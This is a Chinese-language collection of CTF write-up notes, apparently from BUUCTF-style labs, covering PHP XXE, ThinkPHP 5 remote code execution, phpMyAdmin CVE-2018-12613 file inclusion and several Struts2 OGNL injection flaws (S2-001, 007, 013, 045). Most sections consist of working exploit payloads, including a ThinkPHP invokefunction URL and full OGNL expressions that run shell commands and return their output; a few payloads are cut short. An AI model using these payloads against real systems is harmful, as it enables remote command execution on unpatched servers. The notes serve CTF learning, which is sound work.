[PHP]XXE
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞
payload:
1 | <?xml version="1.0" encoding="utf-8"?> |
[ThinkPHP]5-Rce
Thinkphp5 5.0.22/5.1.29远程代码执行漏洞:
1 | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 |
通过读取phpinfo,获取到flag!!
[ThinkPHP]5.0.23-Rce
Thinkphp 5.0.23远程代码执行漏洞:
1 | POST /?s=captcha |
通过读取phpinfo,获取到flag!!
关于thinkphp5的漏洞github上有人已经收集并集中在一起了,
[PHPMYADMIN]CVE-2018-12613
phpmyadmin 4.8.1 远程文件包含漏洞 (CVE-2018-12613)
buuctf的warmup就是这个洞
1 | payload: |
当然这里是无法执行命令的,那么我们也就无法执行phpinfo(),也就无法获取到flag
看github我们可以知道,我们执行SELECT ‘=phpinfo()?>‘;,然后去查看session,
这个时候我们就可以去包含session文件了,这样就会执行session文件中的php代码.
[struts2]s2-013
S2-013 / S2-014远程执行代码漏洞
受影响的版本:2.0.0-2.3.14.1
Struts2的标记<s:a>和<s:url>提供了includeParams属性,该属性的主要作用是了解是否包含http请求参数。
includeParams的允许值为:
无-网址中不包含任何参数(默认)
get-在URL中仅包含GET参数
全部-在网址中同时包含GET和POST参数
如果为includeParams=all,则此请求的GET和POST参数放在URL的GET参数上
在此过程中,参数将由OGNL表达式解析,导致命令执行
payload:
1 | ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())} |
都需要进行url编码进行传递,执行env命令得到flag.
[struts2]s2-001
S2-001远程执行代码漏洞
漏洞在于,当用户提交表单数据且验证失败时,服务器会使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据,例如在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。
payload:
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
加在post的数据后面.
[struts2]s2-045
S2-045远程执行代码漏洞(CVE-2017-5638)
Apache Struts2的Jakarta Multipart解析器插件中容易出现远程执行代码漏洞
使用此插件上传文件时,攻击者可能会更改HTTP请求的Content-Type标头字段的值以触发此漏洞,从而导致远程执行代码
payload:
1 | %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" |
进行抓包,修改content-Type:
[struts2]s2-007
S2-007远程执行代码漏洞
当 -validation.xml配置的验证规则时
如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串
然后执行OGNL表达式解析并返回
payload:
1 | ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + ' |